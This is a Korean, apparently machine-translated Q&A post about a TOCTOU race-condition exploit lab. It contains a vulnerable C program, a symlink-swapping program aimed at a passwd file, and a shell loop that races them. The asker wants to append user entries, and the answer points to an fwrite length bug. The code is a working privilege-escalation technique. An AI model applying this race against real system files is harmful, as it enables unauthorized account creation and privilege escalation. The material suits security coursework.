나는 이제 경쟁 조건 오류를 사용하여 이를 악용하려고 합니다. 그런데 이 과정에서 내가 결코 지정하지 않은 가치가 드러나는데 문제가 발생한다.
아래는 사건에 대한 설명입니다.
시나리오: 공격자는 특정 프로그램이 경쟁 조건에 취약하다는 사실을 발견했습니다. 그래서 그녀는 공격자가 관리할 수 있는 파일에서 ./passwd 파일에 대한 심볼릭 링크를 생성하는 프로그램을 작성했습니다. 그런 다음 그녀는 ./passwd 파일에 대한 수정 사항이 감지될 때까지 취약한 프로그램과 자신의 프로그램을 모두 실행하는 셸 스크립트를 만들었습니다.
취약한 코드는 다음과 같습니다.
취약한 프로그램.c
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#define DELAY 50000
int main(int argc, char *argv[]){
char *fileName = argv[1];
char buffer[60];
int i;
FILE *fileHandler;
scanf("%50s", buffer);
if(!access(fileName, W_OK)){
int a;
for(i=0;i<DELAY;i++){
a=i^2;
}
fileHandler = fopen(fileName, "a+");
fwrite("\n", sizeof(char), strlen(buffer), fileHandler);
fwrite(buffer, sizeof(char), strlen(buffer), fileHandler);
fwrite("\n", sizeof(char), 1, fileHandler);
fclose(fileHandler);
}
else{
}
}
경쟁 조건을 활용하는 절차는 다음과 같습니다.
심볼릭링크.c
#include<stdio.h>
#include<unistd.h>
#include<string.h>
int main(int argc, char *argv[]){
unlink(argv[1]);
symlink("./passwd", argv[1]);
return 0;
}
이것은 쉘 스크립트입니다:
악용하다
old=`ls -l passwd`; new=`ls -l passwd`
while [ "$old" = "$new" ]
do
rm -rf temp
echo "This is a file that the user can overwrite" > temp
echo -e "TOCTOU-Attack-Success" | ./vulnerable-program temp & ./symbolic-link temp & new=`ls -l passwd`
done
rm -rf temp;
echo "STOP... The passwd file has been changed"
그러나 Exploit.sh를 실행하면 결과는 다음과 같습니다.
또한 /etc/shadow 파일에 기록된 사용자 정보와 같이 매우 긴 문자열을 제공하려고 하면 해당 문자열이 passwd 파일에 계속 나타나서 잘립니다.
실제로, 처음에는 printf("No Permission \n");
취약한 프로그램.c의 else 분기에 코드 줄이 있습니다. 그러나 동일한 문제로 인해 "TOCTOU-Attack-Success" 문자열 앞에 "No Permission" 문자열이 계속 연결되어 passwd 파일에 계속 전달되어 해당 코드 줄을 삭제하게 됩니다.
여러분이 저를 도와주신다면 매우 기쁠 것입니다. 이제 이 문제를 해결하려면 어떻게 해야 할지 모르겠습니다.
답변1
fwrite("\n", sizeof(char), strlen(buffer), fileHandler);
개행 문자와 함께 읽기 전용 데이터 영역의 일부 쓰레기를 상수 문자열 "\n" 바로 뒤에 입력 문자열의 길이까지 보냅니다.